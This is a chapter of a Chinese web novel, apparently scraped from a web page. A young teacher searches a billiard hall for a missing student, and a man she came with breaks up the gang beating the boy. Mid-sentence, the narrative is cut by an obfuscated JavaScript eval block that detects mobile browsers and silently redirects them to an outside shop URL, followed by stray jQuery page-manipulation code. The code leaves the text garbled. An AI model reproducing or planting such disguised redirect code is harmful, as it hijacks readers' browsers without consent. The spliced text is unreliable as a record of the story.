石头山渐渐消失在视野中,车子离城区越近,窗外的人流量便愈大。
罗飞爷爷迟迟等不来消息,又打了几次电话。
梁颂北瞥了一眼说谎不眨眼的姚希,听见她安慰老人说已经找到孩子了,很快就能到家。
李临一在城区开了家台球厅,球厅规模不小,平时来往的客人杂七杂八。
刚才他接了李临一落在沙发上的电话,那边说有个小孩一大清早就蹲在球厅门口,问什么都不吭声,赶也赶不走,像是要砸场子。
梁颂北朝他们要了张照片,果真看见了蹲在墙角的罗飞。
察觉到凝滞的目光,姚希顺势看向了后视镜,只见对面眸色沉沉,像是满起大雾的黑夜。
“怎么了吗?”
连说谎都不会面红耳赤的她,此刻却破天荒地有些紧张。
不过仅仅对视了片刻,梁颂北便转动方向盘,将车停在了旁边的路口:“到了。”
姚希朝外眺了一眼,看到红绿撞色的门脸、眼花缭乱的LED灯,以及门口着装暴露的男男女女:“我一个人去吗?”
“难道你没去过吗?”
梁颂北挑眉问道,像是稀松平常地问了一句吃了吗。
她从来没去过什么娱乐场所,即便是上大学后也只是和朋友去过一两次清吧。
对于一向循规蹈矩的她来说,这种地方连踏进去都算脏了鞋底。
姚希不作声地收回视线,推开车门跳了下去。
“在球厅外面等着,我去停个车。”
看着她决绝远去的背影,梁颂北按了按喇叭,拧开喝掉了剩下的半瓶汽水。
—
“航哥精力真旺盛,一晚上玩得我腰都折了。”
“别得了便宜还卖乖,夏夏可还犯着相思病呢。”
“她来这才几天就想着钓凯子了,人家可是万花丛中过片叶不沾身。”
姚希站在台球厅门口,在接连不断的颜色笑话中频频蹙眉。
她两指捏着鼻子,穿过浓妆厚抹、吞云吐雾的人群,许是太过格格不入,穿着制服的男人很快注意到了她:“美女,是一个人来打球的吗?”
姚希摇摇头,想要快速远离,又想起了此行的目的:“我是来找人的。”
“想要多高多壮的?”
眼见被人误会,她赶忙解释道:“是一个十四五岁的男孩,大概和我一般高……”
男人听得瞠目结舌:“那您来错地方了,我们这里不招未成年人的。”
虽然姚希对台球一无所知,但想要找人,至少得先进去。
“我,我们有两个人,怎么收费?”
“一个小时七十,两个小时一百二。”男人上下打量着她,继续问道:“另一个是男的女的,玩八球还是斯诺克?要点陪玩吗?”
就在她准备随口胡诌时,台球厅传出一阵骚乱声,刚才还在闲聊的人纷纷围到了门外看热闹。
姚希再度捂住鼻子,想要挤进一片缭绕烟雾和沸反盈天。
“里面是谁打起来了!”
“那小孩疯了,结了什么梁子敢惹航哥啊。”
“诶诶诶!再不上去拉着点怕是要出人命的吧!”
姚希听着愈加激烈的场面讲解,心中隐隐觉得不妙,顾不得梁颂北的叮嘱,便生生撞了进去。
……
球厅灯火通明,桌上酒瓶东倒西歪,屋内的男男女女散到四周,只留下一片狼藉。
黄发男人高高瘦瘦,身边围着一撮马仔小弟,个个凶神恶煞。
姚希听见身旁有人道:“这谁敢去拦,航哥里面可是有关系。”
罗飞眼睛通红,领子被黄发男人拽起,手中的酒瓶碎作一半还不肯松开。
刚上大学的那年,姚希迷上了黑.帮片,如获至宝,国内国外的电影通通都看了个遍,曾经室友问她这些东西有什么好看的。
她当时说那个世界像是乌托邦,有能解决一切问题的硬通货。
可如今真的到来,她却发现自己胆小到不可救药。
黄发男人掐住罗飞的手腕,朝他脸上唾了一口:“今儿个我没揍死你都是看在你姐的份上。”
肥肥瘦瘦的马仔将罗飞围在中间,还没到发育期的罗飞甚至都露不出脑袋,人们就这样看着闲笑,仿佛隔三差五就会有一场这样的好戏出演。
姚希知道她一个女人轻易上前与虎口投食无异,归根到底她只是一个临时班主任,没有必要为了一个学生把自己的安全搭在这儿。
对了,报警。
警察一定会管的。
姚希抓着因恐惧而止不住颤抖的手,从包里翻找出手机,伴随着拳拳到肉的声音输入报警电话。
时间仿佛被按下暂停,短暂的等待声无限延长。
她退到了一个安静些的角落:“我在小潭区休门街的台球厅,有人群殴未成年人……”
因紧张而攥出汗的手机被人从斜上方轻易拽走,姚希猝不及防地看向梁颂北,只见他捏起手机道:“不好意思,刚才是有点误会,现在已经解决了。”
“你这是在做什么?”
她拿回手机看到被挂断的电话,顿时有些愠意:“这里是你朋友的店,但罗飞是我的学生,要是出了什么事情首当其冲的就是我,我必须要负责。”
日渐西沉,光线将人勾勒出昏黄的剪影,将苍白的皮肤晕了些暖意。
“姚希,在这种地方报警是最不管用的。”
这是姚希第一次从他的口中听到自己的名字,没有刻意咬字,发音含糊不清,带着些岭北方言的余韵。
“什么叫这种地方?”
蓦地,梁颂北嘴角上扬,像是听了什么笑话:“你难道不应该问什么才是管用的吗。”
在这样的场合里,争论与辩白都是最不需要的。
姚希感觉自己现在像是被人扒光了衣服,赤身裸体地站在他视线的中央:“好,那我需要做什么?”
“把耳朵捂住就好。”
厅内角落的架杆器挂满了各种制品的台球杆,梁颂北挽起袖子露出右小臂,走过去准确娴熟地拿出了一支铝制球杆。
就在姚希看得瞠目结舌,以为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207357|151005||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他的办法是以暴制暴时,炸裂、刺耳的声音以极高的分贝盖住了球厅内所有的窸窣,而后一瞬间万籁俱寂。
她蹲在角落捂住耳朵,瞳孔剧烈收缩,残破的画面照进眼底。
她忽然明白逆转翻盘的最好方法并不是硬碰硬,而像是捕猎,趁其不意,创造机会。
前厅的玻璃桌子碎作一地,梁颂北提着球杆站在满地碎片里,手背被锋利的玻璃片豁出一道血淋淋的口子,猩红的血液连绵不绝地滴落。
刹那间人群如同被定住,黄发男人坐在罗飞的身上,挥舞的拳头停滞在半空,回头看着步步逼近的梁颂北。
“家里孩子不懂事,打打就算了,出了事我也不好交代。”
黄毛一愣:“梁颂北?”
待反应过来后起身,扭曲地笑道:“你不是出去了吗,几年没见,怎么又混回岭北了?”
罗飞鼻青脸肿地躺在地上,脑袋活像个猪头,没了刚才的干劲儿。
梁颂北越过黄毛,架起罗飞的胳膊,将人拽起了起来,见状姚希立即上前将人扶住。
罗飞眼神涣散,蔫蔫地道:“姚老师……”
“闭嘴。”姚希几乎咬着牙,只盼不要再出什么乱子。
看到梁颂北侧身不语,黄毛像是抓到了活把柄,兴致勃勃地道:“哦,我知道了,是因为老相好的回来了,所以你才回来的,对吧?”
一旁地罗飞咬牙切齿,想要开口说什么,被姚希眼疾手快一把捂住。
梁颂北捻起衣服的一角,擦掉手臂不断涌出的红褐,而后不冷不淡地道:“问一下你是谁,我应该认识你吗?”
“你奶奶的,我操你他妈了个逼的……”
黄色的枯草被一把抓起,膝盖猛力撞向腹部,身体像轻飘飘的羽毛一样,落在了一地玻璃渣子里。
额头被鞋底踩住,黄毛一边挣扎一边向自己的马仔呼救,却发现他们早就逃之夭夭。
梁颂北不紧不慢地碾住,弯下腰来提了个鞋,而后起身蹚过玻璃碎片,发出咔嚓咔嚓的声响,将球杆挂回了原位。
“坏了你一个桌子,你对象的纹身钱我就不收了。”
李临一追完女友姗姗来迟,见自己的地盘乱作一团,也丝毫没有恼意:“小事,就一个破桌子而已。”
纤长指尖落的血连成了串,蔓延在白色皮肤上的一滴一滴如同红色的链条。
它们陆陆续续滴落近她的脚边。
罗飞偷着抹了把眼泪,声音嗡嗡地:“哥,我错了,我再也不惹麻烦了。”
姚希趁机抬头,看到他眸色因额前碎发作挡,半明半暗:“好好上学,以后别再让我在外面看见你。”
有些事情在不经意间就种下了种子,它悄悄地吸收养分,偷偷地破土,终将会在某一个风和日丽的早晨开了花,然后再把烂熟的果子留给秋天的土地。
它被雪冰封在冬天,待来年再度发芽。
“姚老师。”
姚希从一种异样感间抽离,见到梁颂北背对着她向前,用肩膀支开了门,外面烟雾已经散尽:“我们可以走了。”